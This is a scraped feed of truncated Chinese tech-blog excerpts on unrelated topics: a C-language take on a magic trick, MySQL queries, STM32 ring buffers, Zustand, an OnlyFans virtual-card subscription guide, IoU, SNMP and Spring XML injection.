今年的春晚上刘谦表演了魔术《守岁共此时》&#xff0c;台上台下积极互动&#xff08;尤其是小尼&#xff09;&#xff0c;十分的有趣。刘谦老师的魔术不仅仅是他的高超手法&#xff0c;还有这背后的严谨逻辑&#xff0c;下面我们来用C语言来解析魔术吧。 源代码 #define _CRT…

MySQL学习记录——구 复合查询

文章目录 1、基本查询2、多表查询3、自连接4、子查询1、多行子查询2、多列子查询3、from句中的子查询 5、合并查询 1、基本查询 看一些例子&#xff0c;不关心具体内容&#xff0c;只看写法 //查询工资高于500或岗位为MANAGER的雇员, 同时还要满足他们的姓名首字母为大写的J …

【STM32 CubeMX】学STM必会的数据结构——环形缓冲区

文章目录 前言一、环形缓冲区是什么二、实现环形缓冲区实现分析2.1 环形缓冲区初始化2.2 写buf2.3 读buf2.4 测试 三、代码总况总结 前言 在嵌入式系统开发中&#xff0c;经常需要处理数据的缓存和传输&#xff0c;而环形缓冲区是一种常见且有效的数据结构&#xff0c;特别适用…

Zustand:简化状态管理的现代React状态库

Zustand&#xff1a;简化状态管理的现代React状态库 Zustand是一个用于管理状态的现代React状态库。它提供了简洁、可扩展和高效的状态管理解决方案&#xff0c;使得在React应用中处理复杂的状态逻辑变得更加容易和直观。本文将介绍Zustand的主要特点、使用方法以及它在React开…

【初学者向导】轻松加入OnlyFans世界:一站式订阅与支付指南!掌握使用虚拟卡的订阅技巧

目录 1. 引言2. 注册OnlyFans账户3. 浏览OnlyFans内容4. 选择订阅时长5. 开通虚拟卡 5.1. 什么是虚拟信用卡5.2. 如何开通虚拟卡 6. 使用虚拟卡订阅7. 总结8. 常见问题 1. 引言 什么是OnlyFans&#xff1a;OnlyFans是一种内容订阅服务&#xff0c;成立于2016年&#xff0c;允…

【深度学习每日小知识】交并集 (IoU)

交并集 (IOU) 是一种性能指标&#xff0c;用于评估注释、分割和对象检测算法的准确性。它量化数据集中的预测边界框或分段区域与地面实况边界框或注释区域之间的重叠。 IOU 提供了预测对象与实际对象注释的对齐程度的衡量标准&#xff0c;从而可以评估模型准确性并微调算法以改…

SNMP 简单网络管理协议、网络管理

目录 1 网络管理 1.1 网络管理的五大功能 1.2 网络管理的一般模型 1.3 网络管理模型中的主要构件 1.4 被管对象 (Managed Object) 1.5 代理 (agent) 1.6 网络管理协议 1.6.1 简单网络管理协议 SNMP 1.6.2 SNMP 的指导思想 1.6.3 SNMP 的管理站和委托代理 1.6.4 SNMP…

Spring 用法学习总结(一)之基于 XML 注入属性

百度网盘&#xff1a; &#x1f449; Spring学习书籍链接 Spring学习 1 Spring框架概述2 Spring容器3 基于XML方式创建对象4 基于XML方式注入属性4.1 通过set方法注入属性4.2 通过构造器注入属性4.3 使用p命名空间注入属性4.4 注入bean与自动装配4.5 注入集合4.6 注入外部属性…